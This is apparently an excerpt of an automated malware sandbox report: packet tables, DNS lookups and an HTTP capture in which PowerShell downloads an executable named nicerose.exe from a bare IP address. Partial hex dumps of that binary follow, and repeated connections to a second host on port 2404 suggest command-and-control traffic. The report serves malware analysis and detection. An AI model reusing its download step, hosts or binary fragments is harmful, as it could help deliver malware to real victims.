                                                                                  Dec 18, 2024 15:35:55.614123106 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.614185095 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.614191055 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.614242077 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.620351076 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.620373964 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.620443106 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.620449066 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.620532036 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.853286028 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.853303909 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.853324890 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.853499889 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.853521109 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.853661060 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.859818935 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.859847069 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.859946012 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.859961033 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.860126972 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.871582985 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.871609926 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.871699095 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.871711016 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.871853113 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.877119064 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.877142906 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.877239943 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.877247095 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.878249884 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.881155014 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.881177902 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.881242037 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.881247997 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.881290913 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.887849092 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.887871027 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.887943029 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.887948036 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.887999058 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.894352913 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.894373894 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.894444942 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.894448996 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.894547939 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.951137066 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.951162100 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.951400042 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:55.951409101 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:55.951461077 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.148780107 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.148804903 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.148967981 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.148983002 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.149032116 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.155324936 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.155348063 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.155447960 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.155457973 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.155852079 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.162034988 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.162058115 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.162149906 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.162158012 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.162219048 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.168015957 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.168040991 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.168134928 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.168143988 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.168194056 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.174478054 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.174499035 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.174592972 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.174607992 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.174777985 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.180752039 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.180798054 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.180815935 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.180829048 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.180885077 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.180916071 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.187468052 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.187489986 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.187551975 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.187563896 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.187640905 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.194143057 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.194161892 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.194207907 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.194263935 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.194271088 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.194319963 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.351135015 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.351169109 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.351285934 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.351299047 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.351435900 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.454413891 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.454443932 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.454552889 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.454564095 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.454632998 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.461469889 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.461493969 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.461630106 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.461638927 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.461688042 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.467398882 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.467427015 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.467658043 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.467686892 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.467772961 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.474452972 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.474477053 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.474585056 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.474598885 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.474709988 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.481101990 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.481127977 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.481228113 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.481236935 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.481292963 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.488002062 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.488027096 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.488106966 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.488114119 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.488171101 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.493052006 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.493077040 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.493155003 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.493161917 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.493211985 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.543728113 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.543751955 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.543818951 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.543834925 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.543852091 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.543879986 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.649549007 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.649576902 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.649693012 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.649707079 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.649765968 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.747167110 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.747193098 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.747243881 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.747255087 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.747273922 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.747298002 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.753932953 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.753953934 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.754014969 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.754033089 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.754055977 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.754096985 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.758356094 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.758364916 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.758433104 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.758443117 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.758486986 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.763062954 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.763079882 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.763129950 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.763139963 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.763150930 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.763185978 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.767549992 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.767566919 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.767693043 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.767693043 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.767703056 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.767750025 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.772094011 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.772115946 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.772170067 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.772181034 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.772186041 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.772226095 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.778311968 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.778328896 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.778388023 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.778399944 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.778446913 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.840622902 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.840686083 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.840729952 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.840800047 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.840816975 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.843029022 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.843059063 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:56.843097925 CET49736443192.168.2.4103.82.231.117
                                                                                  Dec 18, 2024 15:35:56.843106031 CET44349736103.82.231.117192.168.2.4
                                                                                  Dec 18, 2024 15:35:59.027936935 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:35:59.147752047 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:35:59.147924900 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:35:59.154228926 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:35:59.274208069 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:00.392088890 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:00.437573910 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:00.629136086 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:00.643203020 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:00.762804985 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:00.764583111 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:00.885035992 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.300846100 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.335659027 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:01.455394983 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.492918968 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.539531946 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:01.808300018 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:36:01.927927971 CET8049740178.237.33.50192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.928092957 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:36:01.928278923 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:36:02.047733068 CET8049740178.237.33.50192.168.2.4
                                                                                  Dec 18, 2024 15:36:03.170260906 CET8049740178.237.33.50192.168.2.4
                                                                                  Dec 18, 2024 15:36:03.170325041 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:36:03.227737904 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:03.390360117 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:04.170212984 CET8049740178.237.33.50192.168.2.4
                                                                                  Dec 18, 2024 15:36:04.170375109 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:36:31.326880932 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:36:31.328520060 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:36:31.448064089 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:37:01.351255894 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:37:01.352734089 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:37:01.473253965 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:37:31.520070076 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:37:31.618067980 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:37:31.658924103 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:37:31.780070066 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:37:51.605838060 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:37:51.914823055 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:37:52.617940903 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:37:53.914808035 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:37:56.414855003 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:38:01.305397034 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:38:01.564246893 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:38:01.565578938 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:38:01.685451984 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:38:10.914763927 CET4974080192.168.2.4178.237.33.50
                                                                                  Dec 18, 2024 15:38:31.589132071 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:38:31.593290091 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:38:31.713188887 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:39:01.613301992 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:39:01.614509106 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:39:01.734309912 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:39:31.635107040 CET240449738185.174.103.111192.168.2.4
                                                                                  Dec 18, 2024 15:39:31.636440992 CET497382404192.168.2.4185.174.103.111
                                                                                  Dec 18, 2024 15:39:31.755990028 CET240449738185.174.103.111192.168.2.4

                                                                                  UDP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  Dec 18, 2024 15:35:50.319715023 CET5723753192.168.2.41.1.1.1
                                                                                  Dec 18, 2024 15:35:51.128521919 CET53572371.1.1.1192.168.2.4
                                                                                  Dec 18, 2024 15:36:01.643771887 CET6547953192.168.2.41.1.1.1
                                                                                  Dec 18, 2024 15:36:01.784140110 CET53654791.1.1.1192.168.2.4

                                                                                  DNS Queries

                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                  Dec 18, 2024 15:35:50.319715023 CET192.168.2.41.1.1.10xa7f9Standard query (0)www.maan2u.comA (IP address)IN (0x0001)false
                                                                                  Dec 18, 2024 15:36:01.643771887 CET192.168.2.41.1.1.10xf701Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                  DNS Answers

                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                  Dec 18, 2024 15:35:51.128521919 CET1.1.1.1192.168.2.40xa7f9No error (0)www.maan2u.commaan2u.comCNAME (Canonical name)IN (0x0001)false
                                                                                  Dec 18, 2024 15:35:51.128521919 CET1.1.1.1192.168.2.40xa7f9No error (0)maan2u.com103.82.231.117A (IP address)IN (0x0001)false
                                                                                  Dec 18, 2024 15:36:01.784140110 CET1.1.1.1192.168.2.40xf701No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                  HTTP Request Dependency Graph

                                                                                  • www.maan2u.com
                                                                                  • 173.214.167.74
                                                                                  • geoplugin.net

                                                                                  HTTP Packets

                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  0192.168.2.449732173.214.167.74802488C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  TimestampBytes transferredDirectionData
                                                                                  Dec 18, 2024 15:35:43.097902060 CET290OUTGET /444/nicerose.exe HTTP/1.1
                                                                                  Accept: */*
                                                                                  Accept-Encoding: gzip, deflate
                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                  Host: 173.214.167.74
                                                                                  Connection: Keep-Alive
                                                                                  Dec 18, 2024 15:35:44.186824083 CET1236INHTTP/1.1 200 OK
                                                                                  Date: Wed, 18 Dec 2024 14:35:44 GMT
                                                                                  Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                  Last-Modified: Tue, 17 Dec 2024 23:23:08 GMT
                                                                                  ETag: "14cc00-6297f94721358"
                                                                                  Accept-Ranges: bytes
                                                                                  Content-Length: 1362944
                                                                                  Keep-Alive: timeout=5, max=100
                                                                                  Connection: Keep-Alive
                                                                                  Content-Type: application/x-msdownload
                                                                                  Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 f2 06 00 00 d6 0d 00 00 00 00 00 2c 08 07 00 00 10 00 00 00 10 07 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 [TRUNCATED]
                                                                                  Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*,@P@p*@H|w.text `.itextt `.data@.bss70.idata*p,@.tls4@.rdata@@@.relocH|~B@B.rsrc@@@P@@
                                                                                  Dec 18, 2024 15:35:44.186839104 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                  Data Ascii: @Boolean@FalseTrue@,@Char@@IntegerX@Bytel
                                                                                  Dec 18, 2024 15:35:44.186892986 CET1236INData Raw: 10 40 00 01 04 57 6f 72 64 03 00 00 00 00 ff ff 00 00 90 80 10 40 00 01 08 43 61 72 64 69 6e 61 6c 05 00 00 00 00 ff ff ff ff 90 98 10 40 00 0a 06 73 74 72 69 6e 67 a4 10 40 00 0b 0a 57 69 64 65 53 74 72 69 6e 67 b4 10 40 00 0c 07 56 61 72 69 61
                                                                                  Data Ascii: @Word@Cardinal@string@WideString@Variant@@@$;@0;@4;@8;@,;@t8@8@8@TObject@TObject@System8@IInterfaceFSy
                                                                                  Dec 18, 2024 15:35:44.186949015 CET1236INData Raw: 8d 40 00 83 e9 0c 01 c8 01 ca f7 d9 79 13 df 2c 01 df 6c 01 08 df 7c 11 08 df 3c 11 83 c1 10 78 ed df 2c 01 df 3c 11 8b 44 01 08 89 44 11 08 c3 8d 40 00 83 e9 04 01 c8 01 ca f7 d9 df 2c 01 df 3c 11 83 c1 08 78 f5 8b 04 01 89 04 11 c3 90 8b 48 04
                                                                                  Data Ascii: @y,l|<x,<DD@,<xH9Jt7G!(7Gu!$7G0!7GQ9PAt7G(7G$7G= 7
                                                                                  Dec 18, 2024 15:35:44.186960936 CET1236INData Raw: 74 3f 6a 00 e8 76 f9 ff ff b8 00 01 00 00 f0 0f b0 25 18 37 47 00 74 29 6a 0a e8 60 f9 ff ff eb d2 90 90 3d 2c 0a 04 00 0f 87 0d 01 00 00 8d 98 d3 00 00 00 81 e3 00 ff ff ff 83 c3 30 84 c9 75 b2 8d 93 d0 f4 ff ff 89 d1 c1 ea 0d c1 e9 08 b8 ff ff
                                                                                  Data Ascii: t?jv%7Gt)j`=,0u#(7Gt^#$7Gt(7G5 7G)r7G)7G 7GX7G[VW<7GwFG89u!(7Gu$
